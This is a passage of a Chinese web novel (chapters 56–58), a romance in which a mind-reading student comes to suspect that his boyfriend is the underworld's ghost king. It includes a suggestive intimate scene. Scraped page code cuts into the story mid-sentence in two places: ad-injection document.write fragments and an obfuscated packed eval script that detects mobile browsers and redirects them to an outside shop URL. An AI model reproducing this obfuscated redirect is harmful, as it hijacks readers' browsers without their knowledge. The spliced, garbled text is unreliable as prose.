但谁知道谢必安居然毫不犹豫地拒绝了,“不不不!按照规矩,我们不好收活人的东西……” “哦这样啊。”溪白闻言想要收回去,但看谢必安的眼珠一直盯着自己的手。 “真不要?” “…………不要!” 谢必安咽了咽口水,感受着远处黑暗之中传来的幽幽凝视,忍痛拒绝时,内心也在默默流泪。 这可是上好的香火啊! “行吧。”溪白见他坚决,也不再坚持。 或许是地府的规矩真的很严吧,他心想。 谢必安不忍再看,转移话题,“大晚上的,溪白小先生怎么跑出来了。” “哦,我来找我男朋友。”溪白随口答了一句。 他在宿舍里等了顾弛很久都没见人回来,就想下来找找。 离这不远的林间深处惊起一阵飞鸟,溪白疑惑地看了过去。 当他什么也没发现地收回视线时,却看见谢必安的一双手,已经抓在了自己手里拿着准备揣回兜里的香火上。 “嘿嘿,小先生。”谢必安笑得嘴里的舌头都要滚出来了,“这个……还是可以收收的。” 收情侣的红包,代表着有情人终成眷属。 溪白:? 他不解地摸摸脑袋,这地府的规矩变化的也太快了吧? 刚刚不还心如坚石,义正辞严地拒绝他么。 “哈哈,好。”溪白表面上还是点着头应了一句,“那我先把香火烧了,以后要是碰到些事情,还需要两位大人多关照。” 谢必安拱手,内心刚念叨了一句。 就见溪白摸打火机的动作一顿,抬起头,有些疑惑地看着自己。 谢必安:? “小先生?” 溪白眨了眨眼。 “你刚刚说,什么老板娘?” 谢必安:。 范无赦:……………… 不存在的冷汗顺着额头滴了下来,谢必安也是清楚溪白有能读心的特殊能力的,顾弛甚至还专门叮嘱过不要在溪白面前有太多的心理活动免得暴露。 但直面的时候,他才知道这是怎样的一种压迫感。 谢必安用胳膊怼身边的范无赦。 快点,糊弄过去啊! 正当溪白觉得面前两个无常的表情不对,开始细细琢磨起“老板娘”这个称呼的时候。 兜里的手机,恰到好处地响了起来。 顾弛给他打了个视频,溪白下意识地接了。 “喂宝宝,你在哪?” 溪白的脸一热,余光悄悄瞥向对面。 谢必安正抬头望着天吹口哨。 顾弛的视频背景是宿舍,他看着像是已经回去了,在宿舍里没见到溪白,就打了个视频来找。 “我出来找你了,刚打视频你没接。”溪白说了一句,给谢必安打了个手势。 见溪白望过来,谢必安挤出笑容,示意他有事情就赶紧去忙吧。 “我开了静音。”顾弛解释了一句,“宝宝你在哪,我下去接你。” “不用,我就回来。”溪白说了一句,将手里点燃的香火放到地上。 跟两位无常挥了挥手,溪白转身离开小树林,回了宿舍。 夜风吹过,混杂着一丝很淡很淡的松木香,在这寒冬腊月里,比记忆里的味道要冷冽几分。 溪白走到宿舍楼下,还是忍不住回过头。 树林里一黑一白两道身影已经离去,此刻空无一人。 老板娘……溪白想着刚刚从谢必安心里听到的话,蹙着眉咂了咂嘴。 回到宿舍。 顾弛已经坐在本来的位置上了,溪白推开门,感受到室内暖意包裹的同时,也闻到了一股比往日更加浓烈的,熟悉的香气。 松木的香气。 溪白好奇地走近,就见桌面上比他刚出门的时候,多了一束插在玻璃瓶里的花。 “咦,这是……” 顾弛拉着他坐下,将花送到溪白面前。 溪白又辨认了一下,一团团的雪白花团旁,延伸出丝状的白色花瓣,像是无数朵齐齐绽放的拖尾烟花。 “这是,曼珠沙华?” 曼珠沙华,是彼岸花的别名。 顾弛点了点头,“喜欢吗?” 顾弛的“外卖”就是这个? 溪白心中若有所感,他把花瓶拿近了点,低头轻轻嗅了一下。 他惊讶地抬起头,看向顾弛。 捏着顾弛的领口闻了一阵,又闻了闻怀里的曼珠沙华。 一样的味道! 顾弛身上的气味偏冷冽,又带着点植物的草木气味,溪白没多想,就先入为主地以为是松木了。 地府黄泉之下,遍地皆是彼岸花。 顾弛千百年来,无事便行走于花海之中,时而在那修行,不知不觉身上已经沾染了彼岸花的气味,连他自己都不知道。 “那洗衣液的气味也是曼珠沙华吗?”溪白微微睁大眼睛,看了一眼阳台。 哪个商家会做曼珠沙华味的洗衣液啊。 顾弛轻轻咳了一声。 “可能就是松木吧,只是气味有些相似。” 溪白哦了一声,觉得也有道理。 他捧着花束,不时地闻着。 闻得顾弛都有些吃醋了,他低头看了一眼自己的领口。 袖子被轻轻扯了扯,溪白回头。 就见顾弛跟只不被宠了的大型犬似的,凑到自己身边。 “闻我也一样的。” 顾弛语气认真,根本不像开玩笑。 但他越认真,溪白就越害羞。 他的确很喜欢这束花,但并不是单纯的因为喜欢那种类似松木的清冽气味。 而是因为,这是他从小到大第一次收到花。 而且是来自男朋友的花。 不是玫瑰,不是满天星,而是曼珠沙华。 有着顾弛身上气味的曼珠沙华。 但是……溪白突然开始思考。 曼珠沙华的别名好像是彼岸花吧,这种花不是传说中象征着幽冥的花朵吗? 但印象里的曼珠沙华是红色的,这个是白色,好像同一种花颜色不同,代表的花语也不一样。 溪白拿手机搜了一下,正如他所想的。 红色的曼珠沙华代表着对逝者的思念,而白色的曼珠沙华代表的是纯洁的爱情。 但是,不管是什么颜色的曼珠沙华,都有同样的一种含义。 生死相隔的爱情。 溪白的第一反 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 应并不是不吉利,也不是疑惑顾弛为什么会送这样的花。 大脑的直觉让他第一时间想到的,居然奇怪地是刚刚白无常心里那句话。 「谢谢老板娘」 谢必安是白无常,从工作上来说是鬼差,那他的老板是…… 脑海里闪过一道白光,溪白正觉得自己好像抓住了什么。 宿舍里的灯啪一声,他回过头的时候,才发现灯被人关上了。 被顾弛关上了。 溪白回神的时候,自己已经被抱着放到了桌面上。 电脑被合上,手里的玻璃花瓶也被拿着放到一旁。 高大的身影欺·压下来,溪白下意识地伸手搂住了顾弛的脖子,才不至于整个人往后面倒下去。 ”都说了。” 顾弛的呼吸落在耳畔,语气里带着浓浓的委屈。 “闻我也是一样的。” 溪白忍着笑意,正想打趣一句你和花吃什么醋啊。 一只大手却先一步挑开了他的衣摆,精准地往他腰侧的软肉掐了一把。 “啊!” 溪白直接喊出了声,又下意识地咬住唇,担心地往旁边看了一眼。 “宿舍楼里没人。”顾弛早已用神识探测过了,整栋楼的所有房间里,再没有其他活人的气息。 他眸色渐暗,瞳孔变成竖形,目光在那鲜红欲滴的耳垂上打量了一眼。 张口,尖尖的犬齿带着点力道咬住。 “放心,怎么叫都行。” 他喜欢听。 溪白觉得顾弛一定是疯了,居然因为一束花能醋成这样。 但实际上,顾弛只是再也压抑不住心中翻腾如瀚海的情愫,看着溪白的脸颊,耳朵,脖颈……每一寸肌肤,每一丝血肉,对他来说都是极大的诱惑。 他忍太久了。 不管原因是什么,但事实就是,溪白很快就被带进了顾弛的节奏里。 一切都被对方轻松地掌握着,一点都不像他那样,什么都十分困难……连握都握不住的程度。 顾弛的贴近的时候,溪白紧张地并起了膝盖。 太,太早了吧! “不到最后一步。”顾弛安慰他,让溪白不要紧张。 虽然如此,但顾弛还是做了些让溪白面红耳赤的坏事。 “你慢…点……” 到后面溪白已经字不成句了,不得已软下身段。 他本以为讨饶可以让顾弛温柔一点,却不想,越是流露出被欺负得可怜兮兮的一面,反倒越能刺激顾弛骨子里的那些不可言说的欲·念。 直到最后,他被欺负得坏了,泄愤似地在顾弛颈侧狠狠咬了一口。 就这样,顾弛还笑呢。 抱着溪白去浴室洗了第二遍澡,又把脱力的人抱了出来。 他温柔地将溪白抱着,让人坐在自己的大腿上。 当顾弛从抽屉里拿出消红止疼的药,替他磨红的那片皮肤上药的时候,溪白终于反应过来了。 这家伙是早有预谋的吧! “没有的事。”顾弛笑得见牙不见眼。 信你才有鬼了! 溪白暗自腹诽,这坏狗。 纯情的时候是真纯情……发·情的时候,也是真发·情啊! “宝宝舒服吗?”顾弛低头和溪白蹭了蹭鼻尖,十足的腻歪。 虽然很不想承认。 但溪白心底里还是不可抑制地觉得……咳,刚刚那样,还是很刺激的。 顾弛清晰地捕捉到了他的微表情,眼底的笑意更浓。 他歪头,倾身吻住溪白,两人交换了一个生涩而绵长的吻。 “以后我每天给你送一束花。”顾弛说。 顾弛牵着溪白的手,手指轻轻搓着那柔软的掌心,像是在把玩似的。 也不知道哪来的怪习惯……溪白想着,看了一眼桌面上摆着的曼珠沙华。 唔,虽然总觉得有些怪怪的。 但他还是挺喜欢这个花的。 反正是男朋友,让他送送花也没什么。 正想点头,溪白却听见一句。 「该什么时候让溪白知道真相呢」 溪白一愣,他看向顾弛,后者也正看着他。 视线碰上了,顾弛还轻轻挑了挑眉,“好吗?还是你想要别的花,也行。” 溪白没说话,静静看着顾弛。 果不其然,顾弛的心思又开始想刚刚的事情。 「要不就不说了?」 「唔,也不行,瞒得了一世,但当溪白去到了……那个时候也瞒不了吧」 溪白眯了眯眼睛。 他就说。 顾弛这家伙,绝对有什么东西瞒着他! 57.第 57 章 新的一年。 从新的疑神疑鬼开始。 真·疑神疑鬼。 顾弛到底是人吗——这个问题,又一次光顾了溪白的大脑。 不是他多疑,而是顾弛昨天晚上的心声,让他没有其他的方向可以考虑。 昨天晚上他几乎没有睡着,被顾弛从背后搂着,被对方抓着手,溪白思索了整整一夜。 脑海里全是他在顾弛那里听到过的各种各样的“心声”。 除去一些语气傻乎乎说他可爱的,还有两人亲密时一些不过审的。 剩下的话也不多。 但信息量都很大,尤其是昨晚。 顾弛不打算告诉他的真相,究竟是什么? 还有另外一句。 溪白一开始以为,顾弛说的是“瞒得了一时”,但昨晚他反复琢磨了许久,最终揣着三分怀疑,但还是觉得顾弛说的是“瞒得了一世”。 如果说有什么东西能瞒得了他一辈子,那顾弛为什么后面又说“去到……的时候,也瞒不了了”? 去到哪? 溪白心里只有一个答案。 他甚至下意识地想到了另外一件事。 当他下楼找顾弛,却碰到黑白无常的时候,谢必安曾经在心里说了一句:谢谢老板娘。 溪白昨晚也想到了这件事,但是后来顾弛关了灯,他们俩就只顾着…… 搓了搓发烫的脸,溪白在心里告诉自己回神。 而现在细细回想起来,当时谢必安是不愿意收他的香火的,但态度的突然转变,仅因为他说了一句:我下来找我男朋友。 然后谢必安就在心里管他叫老板娘? 一个看上去似乎合情合理的真相,逐渐在溪白的脑海中浮现。 于是在大年初一的中午,两个人正式在一起后第一次出去吃的“情侣午餐”上,溪白拿着热毛巾,一边慢条斯理地擦手,一边朝对面的顾弛问了一句。 “你对地府了解多少?” 旁边正摆餐具的侍者动作就是一顿,有些汗颜地看了眼溪白。 这大过年的,怎么说起地府来了。 偏偏对面的顾弛只是顿了一下,而后说:“你怎么突然好奇这个?” 像是一点都不避讳的样子。 “两位有需要可以再叫我。”侍者躬身一礼,忙不迭地逃离了这个诡异话题的波及范围。 少了个人后,气氛像是瞬间安静了很多,虽然侍者明明也只是安静地摆餐具。 溪白笑了笑,手指捏了捏金属质的刀叉,又放下。 “没有,就是前两天刷到了篇科普。”溪白面不改色地开始编,“说人间过春节的时候,地府也在过,是真的假的?” 顾弛下意识地嗯了一声,而后意识到不对,立即拖长了语调。 “嗯——”他像是若有所思地摸了摸下巴,又用手背按了按额头上不明显的薄汗,“应该是吧。” “你有看过类似的书吗?”溪白笑吟吟地凑近,双手托着下巴,一副真的被勾起了好奇心的样子,“之前看你对《山海经》、保家仙那些东西都好了解,所以我就想问问你嘛。” 顾弛一阵心梗,没想到自己当初随口一说的事情,居然会成为现在被引爆的雷。 但看着溪白期待的表情,他又说不出“我不懂”之类拒绝的话。 于是他只好说:“涉猎过一点。” “我不信,你肯定知道很多。”溪白顺势拉着顾弛的手,撒娇晃了晃,“和我说说嘛。” 顾弛舔了舔唇,脸上流露出几分难得的羞赧,眼神也逃避地看向一旁,耳尖发红。 “嗯。”他彻底败下阵来。 哼,狗男人就吃这一套,溪白暗自腹诽。 于是,哪怕顾弛猜到溪白有可能在怀疑自己的身份,但他还是选择踩上了悬崖上架着的钢丝,和溪白讲了起来。 “其实人……民间流传的地府相关的说法很多。”顾弛的用词还是十分斟酌,尽量避免暴露什么,“比如像十八层地狱、判官、牛头马面、金鸡村、恶狗岭之类的说法,相对来说都比较统一,也是真实存在……咳。” 顾弛喝了一口柠檬水,意识到说漏了什么。 但对面的溪白像是没察觉到似的,只睁大了眼睛,十足好奇地点头,示意他继续。 于是,顾弛就从地府的诞生开始,挑挑拣拣了一些比较大的事件,一一说到了现在。 “所以其实地狱永远不会空,而地藏王菩萨现在依旧遵守着他的诺言,不曾成佛吗?”溪白眼底流露出几分敬佩。 顾弛放下空了的杯子,表情也充满了尊重,“的确,他的菩提心一直以来都很坚定。” 侍者一边添水一边目光游离,表情复杂得难以言表。 什么东西,怎么又说到菩萨了。 “那我听你说的,其实鬼王也不止一个?”溪白道。 顾弛心里的警钟想了一下,这次他只是谨慎地点了点头,什么话也没说。 可他不说,不代表溪白不会问。 “哪都有谁啊,你清楚吗?”溪白像是很好奇似的,激动地拉着顾弛的手。 “咳,略了解一些。”顾弛被那双充满期待的眼睛给蛊惑,下意识地说完,又想要给自己找补,“但不多。” 溪白扣着顾弛的手指,“说说嘛。” “咳。”顾弛又开始灌水。 他放下杯子,略冷静了一些,和溪白讲述了起来。 “其实所谓鬼王,只是一个代称,在地府里地位比较高的,基本上都可以称为鬼王。” 比如钟馗、崔珏之类的大判官,便是鬼王;以及最出名的十殿阎罗,同样也属于鬼王;哪怕是谢必安和范无赦,虽是无常鬼,但司掌天下所有城隍庙下的其他大小无常鬼,因此勉强也能称作小一些的鬼王。 “那最 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“应该,会吧。”顾弛犹犹豫豫地说。 一顿饭吃得顾弛的心是忽上忽下的,现在溪白对他的怀疑肯定是板上钉钉,而他在刚刚餐桌上说的话和反应表现,其实也暴露了不少心虚的痕迹。 食不滋味的心情并不好受,但顾弛更纠结的,是他真实身份的问题。 到底要一直隐瞒溪白,还是让他知道真相。 真相是要循序渐进地说,还是直接光明正大地告知? 初尝爱情的滋味的确甜蜜,但并没有顾弛想的那般顺利。 他看了一眼自己与溪白牵着的手,默默加大了点力道。 “唔?”溪白看他。 顾弛摇头,“没事。” 只是想把人牵得紧一点,不想让溪白有一丝一毫的可能离开。 58.第 58 章 收到顾弛的元神传讯时,无厢还是非常意外的。 他回了一道讯息,和顾弛约在了学校食堂见面。 “有事?”无厢见到人,很不客气地问了一句。 “你和庄术什么进度?”顾弛问。 “你大爷的戳我伤疤是吧!”无厢一拍桌子就跳起来了。 明显的:进度不如意,否则他也不至于大过年的还在学校里呆着。 顾弛沉默,无厢双眉紧锁地看着他。 良久,后者哦了一声。 “你进度也不怎样吧。”他读懂了顾弛的沉默,也猜到了对方的来意,幸灾乐祸地道。 在一旁坐下,无厢抖着腿,看戏。 顾弛也在他对面坐了下来,看了一眼手机消息。 出门的时候溪白在睡午觉,现在也没找他,应该是还没醒。 “你打算告诉庄术吗?”顾弛说着,又补充了一句,“如果你和他在一起的话。” 无厢翻了个白眼,对于顾弛三番几次地戳自己的痛处非常不爽。 “你说自己是鬼的事?” 顾弛点头。 “他应该早就知道吧,他不是天师吗。”无厢皱了皱眉,随即有些烦躁地一摆手,“管他呢……不过说起来,他那个弟弟,和你那位不是很熟么,怎么,还没发现你的身份?” 顾弛摇摇头,只觉得说来话长。 他和溪白的初见,便充满了意想不到的戏剧性。明明是他先想要把人拐跑,结果却不想对方能听见他的心声,直接把谎言给看穿了,导致双方才第一次面对面,顾弛就落了个仓皇跑路的结果,实在是太荒唐。 “你就算瞒得了他一辈子,等他百年之后……估计也还得见到你吧。”无厢意味不明地笑了一声。 顾弛无言。 这便是他最担心的一点了。 如果是普通人,死后魂归地府,自然有无数鬼吏阴差评判对方的生前功过,也有一整套的流程将其送往轮回。 但溪白不一样。 溪白帮助了太多的鬼,生死簿上的功德早已多得数不清楚,连名字都变成了金色。 按照初代鬼王立下的规矩,这样的人死后,作为现任鬼王的顾弛,是一定要接见的。 顾弛头疼地捏了捏太阳穴。 虽说初见时的事情太过离奇和意外,但后面,他改头换面和溪白接触,成功成了室友,现在又成了男友。 一切都看着挺顺利,充满了甜蜜,但等顾弛回过神的时候,才发现他和溪白已经踩在了云端上——的确很高,风景很美,但脚底下,全是令他心悸的虚空。 这份感情,不知道什么时候就会突然跌落。 他不是人类顾弛。 他是鬼,是与人类阴阳两隔,阳世的存在们皆不愿接触的鬼。 是溪白最怕的鬼。 设想一下若干年后溪白离世,紧张兮兮地去到地府,结果抬起头往上一看,端坐在高位之上的,是自己的男朋友。 顾弛揉了揉突突直跳的太阳穴。 “哈……早知道一开始就不说谎了是吧。”无厢表情嘲弄地道。 顾弛沉默片刻,起身,决定不再理会这个只会说风凉话的家伙。 “喂!”无厢冲着走到饭堂门口的背影喊了一声。 顾弛停下脚步。 “我觉得,你家那位说不定早已经知道什么了。”无厢说。 顾弛微微侧首。 “这么说吧,庄术是我跟人类斗了那么多年以来,天赋最高的一批,虽然他还嫩了点,但实力已经超过了很多不中用的老牛鼻子了。” 无厢翘着的腿晃得更快了,表情莫名带着点得意。 “你觉得他会察觉不到你的不对吗?就算他没针对你做过什么,他那个蒜头弟弟呢,天天和你家那位在一起,怎么可能察觉不到。” 顾弛的眉头皱了起来。 “你的意思是……” “你家那位,怀疑过你没有?”无厢又问。 顾弛想起前两天在西餐厅那晚,溪白明显别有深意地追问他的那些关于地府的问题,艰难地点了点头。 “所以,他可能早就考虑过你不是人类的这个可能了。”无厢一拍手,道,“按你说的,你家那位是个胆小鬼……别瞪我,按你说的不就是这个意思么……你觉得他如果抗拒了,还可能和你住在一起吗?更别说跟你相爱了。” 顾弛长吁一口气。 “所以,我该怎么做?” “多给他透点风呗,让他慢慢接受,反正我是这么打算的。”无厢耸了耸肩。 顾弛:“我明白了。” 走出两步,他又回头。 “多谢了。” 无厢挑眉,指了指自己的脖子,“那就把我的禁制给……” 话没说完,顾弛的身影已经消失在了风里。 “草。”无厢骂了一句。 顾弛回到宿舍的时候,溪白刚从床上坐起来。 他靠在床栏边,一条纤细雪白的腿从裤管伸出,踩在床梯上的脚掌清收漂亮,踝骨的突起弧度都带着点恰到好处的可爱,让人想抓进手里把玩。 “你去哪了。”溪白揉着眼睛问,语气里还带着点刚睡醒的慵懒。 “办了点事。”顾弛走到床铺下方,朝坐在上铺的溪白伸出手,“走吧,一会出门,带你去个地方。” 溪白圈着他的脖子,让人把自己抱了下来,懒洋洋地窝在顾弛的肩头,他打了个哈欠道:“怎么了?” 顾弛认真地深呼吸了一口气,做下了决定。 他朝溪白笑了笑,“也没什么大事。” 就是有一个藏在心里十几年的故事,他想要认认真真地,说给他的心上人听。 溪白困得厉害,直到他被顾弛抱上了副驾驶座,对方替他扣好了安全带,才逐渐清醒了一点。 他打了个哈欠,擦了擦眼角的泪花。 “我们先去吃饭吗?”他问顾弛。 顾弛从另一边上了车,点点头,“你有想吃的东西吗?” 溪白想起午睡前刷手机看到的一个探店视频,在评论区找到店名和地址后,他开启导航放到顾弛面前。 打起精神,他问道:“你刚刚说要给我讲故事。” 顾弛眉毛轻轻一挑。 溪白道:“是什么故事呀?” “我这两天,又看了几本书。”顾弛把着方向盘,将车开出校门,驶入了主干道,“你不是很好奇关于地府的故事吗,我讲给你听?” 溪白一愣,他和顾弛对视了一眼,目光在那双浅褐色的眼睛里流转了片刻,垂了垂眼睛。 “嗯,好呀。” “在很久之前,地府的初代鬼王,是与道教的鼻祖三清,一同诞生于天地之间。” 顾弛一边开车一边缓缓地叙说着,表情在这一瞬间变得崇敬起来。 “三清向上,创立了仙界,而初代鬼王则向下,建造了地府……” 很快,溪白听着听着,就发现自己揣测错了。 顾弛的主动并不是为了遮掩他上次和自己吃饭时暴露的事情。 而是真的在和他说有关“地府”的许多点点滴滴。 从初代鬼王创立地府,到设立十八地狱,十殿阎罗,培养判官、牛头马面、黑白无常……溪白听到了太多熟悉的民俗故事里不为人所知的新颖细节。 一些哪怕是他的专业课导师,甚至是研究学者中的大牛,都无从考据的细节。 也是在意识到这一点的时候,溪白终于反应过来。 顾弛……是在用一种隐晦的方式来暗示自己一些有关他的真实身份的信息吗? 溪白越听,越觉得就是这样的。 地府存在的时间太久,故事也太长,一直到吃完饭,顾弛终于讲完了在他心里不必要的一些旁枝末节。 他端起旁边的茶杯抿了一口,又很轻,很慢地放下。 在这一刻,溪白察觉到顾弛整个人的情绪和神态,和刚刚相比完全变了。 顾弛双手交叠在身前,声音很轻,但却显得很庄重。 “你想了解,关于这一代鬼王的……一些事情吗? 溪白的眼睛微微睁大了一些。 他意识到了什么,良久,面对着顾弛期待而紧张的表情,他缓缓地,点了点头。 “嗯。好呀。” 顾弛带着溪白,开车来到了一条很清寂的街道。 他把车停在胡同口,下车,朝副驾驶座的溪白道:“下来走走,消消食吧。” 溪白点了点头,下车时,他下意识地打量了一圈,发现这附近有些眼熟。 顾弛已经往前走了一段距离,他双手插在风衣口袋里,转过头看仍在原地的溪白。 “走吗?” 溪白应了一声吗,将手机放回兜里,小跑着追到了顾弛身旁。 路灯下,顾弛呼出一口白色的雾气。 他好看的眼睛里映着灯光与夜色,纤长的睫毛轻轻扇动了两下。 “这一代的鬼王……”他轻轻笑了笑,笑容有些意味深长,“或许可以说是,历代里最有人情味的鬼王。” 溪白注意到他笑容里似乎并不全是正面的情绪,于是问了一句。 “有人情味,不好么?” “有人情味对于执掌权力,审判刑罚时是好的。”顾弛说着,看向溪白,“不是有句话么,法外不外乎人情。” 世事万物并不是只用一杆秤,一把刀就能分清毫厘,裁决对错,很多时候,地府对于功过的判定,也同样需要着“人情味”。 “但鬼王的更迭,永远是冷血而残酷的。”顾弛一挑眉,眼神带上几分寒意,“在那个时候,所有的软弱、善良,所谓的’人情味’,都是一把把刺向他后背的利刃。” 即使是现在回忆起来,顾弛都无法想象,当初的自己是怎么从那数不清的鬼之中活下来,走到今天的位置的。 他挑起嘴角笑了笑,“所以,每一代鬼王换任时,继任者都逃不过走上冷厉无情的最终结果。” 即使是他,当初也是一样。 所谓出淤泥而不染,更多的只是一种美好的企望。 在地府冰冷无情的土壤中生长,也不怪千年以来,开出的永远只有带着血色,代表死亡的彼岸花。 “他一个人形单影只地走了上千年。” 到最后连他自己,都快觉得前路将永远如这般,覆满寒冰。 “直到……十年之前。” 十年之前,他遇到了一个小孩儿。 那天晚上,也许是想起了旧日里的厮杀,回忆被血腥和凉薄所填满,却也唤醒了久久不曾翻涌的烦躁。 于是顾弛踏着月色,少有地来到了人间。 身为鬼王,偶尔他也会在晚上到人间巡视一下,看看是否有什么难以收服的厉鬼,或者玩忽职守的阴差。 而这个晚上,他却遇到了完全在意料之外的事,碰到了意料之外的人。 华夏地广,土壤辽阔,光靠谢必安和范无赦两个无常勾魂,估计早就累得再死一次了。因此地府在每个城市都设有城隍庙,城隍庙下便有各自的无常鬼,负责属地的勾魂和送往地府往生。 顾弛看到的,是当天负责轮值的黑白无常勾着一个哭哭啼啼的活人,拉拉扯扯地往黄泉路走去。 死亡一向是为活人所恐惧的,不远接受自己死了的人一向不少。 但勾魂索上的禁制能让所有的生魂无法产生任何反抗,剩下的发泄方式唯有以泪洗面和鬼哭狼嚎,所以有些对阴物敏感的人,夜里总是能听到一些怪异的声响。 但让顾弛驻足的,不是这常见的小事。 而是一个突然横着手臂,蹿到道路正中央的小小身影。 是一个活人。 “喂,你抓错了!” 那个小小的身影发出的声音也很稚嫩,脆生生的,在寂静的夜里显得格外清亮。 是个活人。 一个小孩子。 听那小孩说的话,顾弛下意识地往那拉拉扯扯的无常和生魂身上看了一眼。 他这才发现,那生魂身上仍旧带着活人才有的生气,但有个黑色的咒文刻在了他的魂体上,将这生气给藏了大半。 这种低劣的禁制自然骗不过顾弛,但普通的无常鬼只是小鬼而已,隐瞒他们已经足够了。 而那咒文同时也将那生魂的舌头给封住了,他张着嘴时,能清楚地看到舌头上有个黑色的X字纹。 只是不知道这孩子怎么知道的? 而那个活人,就是当时年仅十岁的溪白。 无常鬼被小溪白喝住的时候,还以为说的并不是自己,毕竟绝大多数人类都是看不到鬼的。 但当他想要带着那生魂绕开,却发现那小孩装满恐惧与颤抖着的坚定的眼珠跟随着自己的行进方向左右移动时,无常鬼终于确定,溪白说的就是自己。 “你看得见我?”无常鬼忍不住问了一句,又指了指自己的同伴和那生魂,“我们?” 他一边说,脑袋一边好奇地扭转了一百八十度 ——这无常鬼生前做了许多好事,但却被恶人所害扭断了脖子,是以让他当了地府鬼差,也算是补偿他一生的善举功德。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13967827|138211||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 但不知怎么的,就落下了一走神脑袋就开始乱扭的毛病。 这场面别说一个孩子了,就算一个成年人过来恐怕也是吓得屁滚尿流的程度。 溪白的下唇都要被他自己咬出血了,连伸直的手臂都在颤抖,他后悔自己为什么一冲动就跑了出来,但当他的视线触及无常鬼身后被勾魂索捆了个严实,一双装满了悲伤与痛苦的眼睛时,害怕在这一瞬间,被不知从何而来的勇气冲散了。 用力闭着眼睛,溪白大声道:“你旁边的那个人,他是被冒名顶替的,他有一个双胞胎哥哥杀了人,找了个邪道士算出自己快死了,就用邪·术让弟弟顶罪!” 漂浮在半空,借着夜色隐匿的顾弛微微挑了挑眉。 这小孩怎么知道的?看着身上没有灵力,打扮也不像修士。 他琢磨着,而底下的无常鬼已经皱着眉开始翻生死簿了。 当无常鬼中的白无常拿着哭丧棒念起了咒语,一道金光自书页上亮起,指向那生魂。 真的抓错了! 无常鬼连忙传讯给城隍,请北城的城隍爷来断判。 当他们忙完,想要拉着溪白好好感谢一番——否则若是把错误的生魂送去地府,后续被发现了还得把人接回来,麻烦不说,他们俩是要背锅的。 但是一低头,两个无常愣住,面面相觑。 那小孩儿呢? 人不见了! 直到城隍爷到来,无常鬼也没找到刚刚和他们说明真相的那小孩。 当他俩想和城隍并报时,却见城隍爷突然飞至一座建筑物后的半空之中,晃荡了一圈后又落下来,嘴里还嘀咕。 “感知错了?” …… “所以,你说的那位鬼王,当时跟着那个……小孩,一起离开了?”溪白的视线从四周收了回来。 他终于知道,这从下车开始就莫名其妙的熟悉感,究竟是从哪来的了。 顾弛嗯了一声,“自此,鬼王便关注起了那小孩。” “那个明明自己很害怕,但为了一个与自己毫不相干的,被抓错却无法辩驳的生魂,敢于直面无常鬼的小孩。”顾弛转头朝溪白笑了笑。 对上视线的那一刻,两人像是默契地一并进入了一种奇特的,安静的状态。 溪白看着那双浅褐色的眼睛,这一次,他并没有像往常那样想要从中看出什么隐藏的秘密,他只是静静地注视着顾弛。 注视着他的男朋友。 “那后来呢?”溪白轻声问了一句,抿了抿唇。 他像是本还想说什么,但最终还是把话咽了回去,安静地等待顾弛的叙述。 “一开始的他,只是单纯地觉得那个小孩很有意思。” 作为地府的掌权者,华夏所有人类死去后魂魄需要归去的终点,每一任鬼王见过太多形形色色的人,也最是明白一个道理。 人心,和鬼没什么两样。 所以,究竟是什么样的一颗心,能驱使着那个胆小的漂亮娃娃,做出最违背自己“本能”的事情呢? “未来的几年,鬼王看到了那小孩生活里的点点滴滴。” 被孤儿院的坏孩子排挤,自己搬出来住,第一次租房被房东欺骗了好不容易攒起来的一笔钱…… 顾弛讲的,明明是鬼王的故事。 但记忆深处的碎片却如风吹动积起的雪花一般,接连不断地出现在了溪白的眼前。 “鬼王本以为,经历了那么多事情的小孩,会变得和他见过的大多数人一样。” 和大多数被人心伤害过的其他人一样,开始学会收回善良,封闭自己的心。 “但并没有。”顾弛牵起了溪白的手,牢牢抓进了掌心里,“他还是鬼王最初见到的,虽然胆小,但是为了无辜蒙了冤屈的生魂,会大着胆子用自己的方式去帮助他们的人。” 溪白忍不住反驳了一句。 “怕鬼不代表胆子小!” 顾弛被逗笑了。 温热的气流随着笑音落在耳畔,吹红了溪白的耳朵。 他用胳膊撞了撞顾弛,“你继续说呀,然后呢?” “然后在某一天,现任鬼王突然发现:他的心态好像不太对了。” 那天,鬼王有事来得晚了,但到了男生的小出租屋边,却看到屋里虽亮着灯,但没有人。 他好奇地凑近,却听见门开的声响。 浴室里走出来的,是一片直接撞进他眼睛里,撞得他呼吸一滞的,犹如羊脂白玉一般的细腻雪白。 时值夏秋之间,天气热却也没那么难忍,屋内只开了一盏小风扇。 身材清瘦的男生穿着一条白色的小裤头,站在阳台的水池边上,仔细地清洗着自己换下来的校服。 鬼王直接跑了。 他像是做了什么亏心事似的,一想到那不小心撞到的场景,整只鬼就开始不断升温,为此连地府的公务都耽搁了一段时间。 他决定让自己先冷静一下。 也得花时间搞搞清楚,那种从未有过的,奇怪的失控感究竟是什么。 而这一躲,就是两年。 再次见面时,男生已经长高了不少,整个人像一株挺拔的小树。 “其实当时,鬼王并没有像他规划的那样冷静下来,也没有做好再见面的心理准备。” 但他还是去了。 因为那天是男生的生日。 虽然是贵,但他隐隐约约知道:18岁,对于人类来说,是很重要的一年。 溪白回忆起了自己十八岁的生日。 想了一会,终于从记忆的深处,翻出来了一点片段。 而这点片段,与顾弛的话,再一次重合上了。 “男生住在自己的小房子里,手边放着一只猪猪存钱罐,还有一只信封。” 存钱罐的肚子已经空了,换成了插着一根燃烧着的蜡烛的小蛋糕。 而信封里装着的,是北城大学的录取通知书。 